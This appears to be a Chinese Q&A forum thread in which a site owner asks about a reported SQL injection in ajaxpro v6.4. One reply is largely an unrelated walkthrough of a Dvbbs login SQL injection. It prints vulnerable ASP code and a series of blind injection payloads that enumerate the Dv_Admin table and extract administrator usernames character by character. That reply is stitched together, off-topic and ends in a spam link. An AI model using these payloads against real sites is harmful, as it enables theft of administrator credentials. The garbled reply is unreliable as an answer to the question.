ajaxpro存在SQL注入漏洞？
0
悬赏园豆：50
[待解决问题]
我的网站系统用了ajaxpro v6.4，最近安全评估公司给出评估报告说存在SQL注入漏洞。
URL：http://xxx.xxx.xx.xxx/ajaxpro/converter.ashx
提交类型：HEADERS
参数：User-Agent
测试URL：http://xxx.xxx.xx.xxx/ajaxpro/converter.ashx
请各位兄弟帮忙看看。
所有回答(2)
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你的代码不连数据库的话 会存在sql注入？ 自己代码搞定就OK了
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分析下”洞网/”,环境架好后.找到有问题的语句:
End If
Else
username=trim(Dvbbs.CheckStr(request("username")))
If ajaxPro Then username = unescape(username)
End If
username带入到查询语句如下:
If ChkUserLogin(username,password,mobile,usercookies,1)=false Then
Set chrs=Dvbbs.Execute("select Passport,IsChallenge from [Dv_User]
where username='"&username&"' and IsChallenge=1")
If chrs.eof and chrs.bof Then
If Not ajaxPro Then
Dvbbs.AddErrCode(12)
Else
strString("本论坛不存在该用户名.@@@@0")'o
End If
Exit Function
End If
set chrs=nothing
End If
:
select Passport,IsChallenge from [Dv_User] where username='"&username&"' and IsChallenge=1
:
where' and (select count(*) from Dv_Admin)>0 and '1'='1 //判断是否存在表名Dv_Admin
,就会变成:
select
Passport,IsChallenge from [Dv_User] where username=’ where' and (select
count(*) from Dv_Admin)>0 and '1'='1 and IsChallenge=1
:
where
logins.asp用户名里填入:
where' and (select count(*) from Dv_Admin)>0 and '1'='1
.
,如果登录正常,说明,存在表单Dv_admin,
,如果出错提示,证明无此表单.
,构造语句:
where' and(select count(username) from Dv_admin)>0 and '1'='1
//判断是否存在列名username
where' and(select count(password) from Dv_admin)>0 and '1'='1
//判断是否存在列名password
where' and(select top 1 len(username) from dv_admin)>10 and '1'='1
where' and(select top 1 len(username) from dv_admin)<5 and '1'='1
where' and(select top 1 len(username) from dv_admin)=5 and '1'='1
//判断username列表值长度是否大于10,小于5,等于5
where' and (select top 1 asc(mid(username,1,1)) from dv_admin)>100 and 1=1 and '1'='1
where' and (select top 1 asc(mid(username,1,1)) from dv_admin)<97 and 1=1 and '1'='1
where' and (select top 1 asc(mid(username,1,1)) from dv_admin)=97 and 1=1 and '1'='1
//判断username列表的第一位字母的ASCII码值是否大于100,小于97,等于97
where' and (select top 1 asc(mid(username,2,1)) from dv_admin)>100 and 1=1 and '1'='1
where' and (select top 1 asc(mid(username,2,1)) from dv_admin)<97 and 1=1 and '1'='1
where' and (select top 1 asc(mid(username,2,1)) from dv_admin)=97 and 1=1 and '1'='1
//判断username列表的第二位字母的ASCII码值是否大于100,小于97,等于97http://www.chinadrtv.com/shouji/sjppfl/nokia/5440.shtml
